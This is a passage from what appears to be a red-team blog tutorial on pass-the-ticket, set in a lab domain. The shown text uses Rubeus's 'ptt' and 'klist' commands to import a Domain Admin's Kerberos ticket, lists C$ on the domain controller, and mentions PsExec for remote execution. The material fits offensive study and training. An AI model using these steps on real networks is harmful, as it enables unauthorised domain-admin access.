srcset="https://substackcdn.com/image/fetch/$s_!30rT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8673324-9eb5-4d6b-aa24-6499b21b37c0_977x699.png 424w, https://substackcdn.com/image/fetch/$s_!30rT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8673324-9eb5-4d6b-aa24-6499b21b37c0_977x699.png 848w, https://substackcdn.com/image/fetch/$s_!30rT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8673324-9eb5-4d6b-aa24-6499b21b37c0_977x699.png 1272w, https://substackcdn.com/image/fetch/$s_!30rT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8673324-9eb5-4d6b-aa24-6499b21b37c0_977x699.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!30rT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8673324-9eb5-4d6b-aa24-6499b21b37c0_977x699.png" width="977" height="699" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/f8673324-9eb5-4d6b-aa24-6499b21b37c0_977x699.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:699,&quot;width&quot;:977,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:96521,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!30rT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8673324-9eb5-4d6b-aa24-6499b21b37c0_977x699.png 424w, https://substackcdn.com/image/fetch/$s_!30rT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8673324-9eb5-4d6b-aa24-6499b21b37c0_977x699.png 848w, https://substackcdn.com/image/fetch/$s_!30rT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8673324-9eb5-4d6b-aa24-6499b21b37c0_977x699.png 1272w, https://substackcdn.com/image/fetch/$s_!30rT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8673324-9eb5-4d6b-aa24-6499b21b37c0_977x699.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now that we&#8217;ve got a ticket, we can explore the various tools that can utilize them and the various ticket formats.</p><h1><strong>Rubeus (base64 or .kirbi)</strong></h1><p>We&#8217;ll start with the easiest one. Rubeus can import a TGT to the current logon session from either a <code>base64</code> string or a <code>.kirbi</code> file. We&#8217;ll stick with base64 since it&#8217;s the most straightforward and also the format in which Rubeus initally presents the ticket to us.</p><p>Before we start, let&#8217;s verify that our current logon session (as <code>REDANIA\dijkstra</code>) can&#8217;t access C$ on the domain controller:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5TGm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb232b58b-532c-4367-94ea-4848c3561e29_587x67.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5TGm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb232b58b-532c-4367-94ea-4848c3561e29_587x67.png 424w, https://substackcdn.com/image/fetch/$s_!5TGm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb232b58b-532c-4367-94ea-4848c3561e29_587x67.png 848w, https://substackcdn.com/image/fetch/$s_!5TGm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb232b58b-532c-4367-94ea-4848c3561e29_587x67.png 1272w, https://substackcdn.com/image/fetch/$s_!5TGm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb232b58b-532c-4367-94ea-4848c3561e29_587x67.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5TGm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb232b58b-532c-4367-94ea-4848c3561e29_587x67.png" width="587" height="67" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/b232b58b-532c-4367-94ea-4848c3561e29_587x67.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:67,&quot;width&quot;:587,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;DC Fail&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="DC Fail" title="DC Fail" srcset="https://substackcdn.com/image/fetch/$s_!5TGm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb232b58b-532c-4367-94ea-4848c3561e29_587x67.png 424w, https://substackcdn.com/image/fetch/$s_!5TGm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb232b58b-532c-4367-94ea-4848c3561e29_587x67.png 848w, https://substackcdn.com/image/fetch/$s_!5TGm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb232b58b-532c-4367-94ea-4848c3561e29_587x67.png 1272w, https://substackcdn.com/image/fetch/$s_!5TGm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb232b58b-532c-4367-94ea-4848c3561e29_587x67.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Great, so if we successfully import a Domain Admin&#8217;s TGT to our session, we should then be able list folders on the DC.</p><p>This is pretty simple with Rubues - all we have to do is supply the base64 ticket to the <code>ptt</code> command:</p><pre><code><code>Rubeus.exe ptt /ticket:&lt;base64 blob&gt;</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!c_Bq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fcae7d4be-f17e-4e6d-9ea6-9423290d8588_961x501.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!c_Bq!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fcae7d4be-f17e-4e6d-9ea6-9423290d8588_961x501.png 424w, https://substackcdn.com/image/fetch/$s_!c_Bq!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fcae7d4be-f17e-4e6d-9ea6-9423290d8588_961x501.png 848w, https://substackcdn.com/image/fetch/$s_!c_Bq!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fcae7d4be-f17e-4e6d-9ea6-9423290d8588_961x501.png 1272w, https://substackcdn.com/image/fetch/$s_!c_Bq!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fcae7d4be-f17e-4e6d-9ea6-9423290d8588_961x501.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!c_Bq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fcae7d4be-f17e-4e6d-9ea6-9423290d8588_961x501.png" width="961" height="501" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/cae7d4be-f17e-4e6d-9ea6-9423290d8588_961x501.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:501,&quot;width&quot;:961,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;ptt&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="ptt" title="ptt" srcset="https://substackcdn.com/image/fetch/$s_!c_Bq!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fcae7d4be-f17e-4e6d-9ea6-9423290d8588_961x501.png 424w, https://substackcdn.com/image/fetch/$s_!c_Bq!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fcae7d4be-f17e-4e6d-9ea6-9423290d8588_961x501.png 848w, https://substackcdn.com/image/fetch/$s_!c_Bq!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fcae7d4be-f17e-4e6d-9ea6-9423290d8588_961x501.png 1272w, https://substackcdn.com/image/fetch/$s_!c_Bq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fcae7d4be-f17e-4e6d-9ea6-9423290d8588_961x501.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>We can then use the <code>klist</code> command to verify the ticket has been imported to our session:</p><pre><code><code>Rubeus.exe klist</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IhF_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb89c76d7-7239-483e-a0b2-6de18639ec9c_899x519.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IhF_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb89c76d7-7239-483e-a0b2-6de18639ec9c_899x519.png 424w, https://substackcdn.com/image/fetch/$s_!IhF_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb89c76d7-7239-483e-a0b2-6de18639ec9c_899x519.png 848w, https://substackcdn.com/image/fetch/$s_!IhF_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb89c76d7-7239-483e-a0b2-6de18639ec9c_899x519.png 1272w, https://substackcdn.com/image/fetch/$s_!IhF_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb89c76d7-7239-483e-a0b2-6de18639ec9c_899x519.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IhF_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb89c76d7-7239-483e-a0b2-6de18639ec9c_899x519.png" width="899" height="519" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/b89c76d7-7239-483e-a0b2-6de18639ec9c_899x519.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:519,&quot;width&quot;:899,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32350,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!IhF_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb89c76d7-7239-483e-a0b2-6de18639ec9c_899x519.png 424w, https://substackcdn.com/image/fetch/$s_!IhF_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb89c76d7-7239-483e-a0b2-6de18639ec9c_899x519.png 848w, https://substackcdn.com/image/fetch/$s_!IhF_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb89c76d7-7239-483e-a0b2-6de18639ec9c_899x519.png 1272w, https://substackcdn.com/image/fetch/$s_!IhF_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb89c76d7-7239-483e-a0b2-6de18639ec9c_899x519.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>And there we can see the ticket for <code>vizimir</code> successfully imported to our session. Now if we try accessing C$ on the domain controller again, we see it&#8217;s successful!</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Xm_V!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F94c3a745-424f-4ebf-b45a-1f7e72a0b94a_652x219.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Xm_V!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F94c3a745-424f-4ebf-b45a-1f7e72a0b94a_652x219.png 424w, https://substackcdn.com/image/fetch/$s_!Xm_V!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F94c3a745-424f-4ebf-b45a-1f7e72a0b94a_652x219.png 848w, https://substackcdn.com/image/fetch/$s_!Xm_V!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F94c3a745-424f-4ebf-b45a-1f7e72a0b94a_652x219.png 1272w, https://substackcdn.com/image/fetch/$s_!Xm_V!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F94c3a745-424f-4ebf-b45a-1f7e72a0b94a_652x219.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Xm_V!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F94c3a745-424f-4ebf-b45a-1f7e72a0b94a_652x219.png" width="652" height="219" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/94c3a745-424f-4ebf-b45a-1f7e72a0b94a_652x219.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:219,&quot;width&quot;:652,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;ptt&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="ptt" title="ptt" srcset="https://substackcdn.com/image/fetch/$s_!Xm_V!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F94c3a745-424f-4ebf-b45a-1f7e72a0b94a_652x219.png 424w, https://substackcdn.com/image/fetch/$s_!Xm_V!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F94c3a745-424f-4ebf-b45a-1f7e72a0b94a_652x219.png 848w, https://substackcdn.com/image/fetch/$s_!Xm_V!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F94c3a745-424f-4ebf-b45a-1f7e72a0b94a_652x219.png 1272w, https://substackcdn.com/image/fetch/$s_!Xm_V!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F94c3a745-424f-4ebf-b45a-1f7e72a0b94a_652x219.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This is a simple test of the new privileges, but we could also use tools like PsExec to remotely execute commands now.</p><p>One thing to note with utilizing Kerberos authentication is that Kerberos relies on domain names and DNS entries. If we rerun the <code>dir</code> command and target a host by IP address, NTLM authentication will be used and we&#8217;ll be back at access denied:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hWag!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8c330ec6-7ba9-43e6-bcb9-57f89d3c4f37_676x299.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hWag!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8c330ec6-7ba9-43e6-bcb9-57f89d3c4f37_676x299.png 424w, https://substackcdn.com/image/fetch/$s_!hWag!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8c330ec6-7ba9-43e6-bcb9-57f89d3c4f37_676x299.png 848w, https://substackcdn.com/image/fetch/$s_!hWag!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8c330ec6-7ba9-43e6-bcb9-57f89d3c4f37_676x299.png 1272w, https://substackcdn.com/image/fetch/$s_!hWag!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8c330ec6-7ba9-43e6-bcb9-57f89d3c4f37_676x299.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hWag!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8c330ec6-7ba9-43e6-bcb9-57f89d3c4f37_676x299.png" width="676" height="299" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/8c330ec6-7ba9-43e6-bcb9-57f89d3c4f37_676x299.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:299,&quot;width&quot;:676,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;IP Fail&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="IP Fail" title="IP Fail" srcset="https://substackcdn.com/image/fetch/$s_!hWag!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8c330ec6-7ba9-43e6-bcb9-57f89d3c4f37_676x299.png 424w, https://substackcdn.com/image/fetch/$s_!hWag!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8c330ec6-7ba9-43e6-bcb9-57f89d3c4f37_676x299.png 848w, https://substackcdn.com/image/fetch/$s_!hWag!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8c330ec6-7ba9-43e6-bcb9-57f89d3c4f37_676x299.png 1272w, 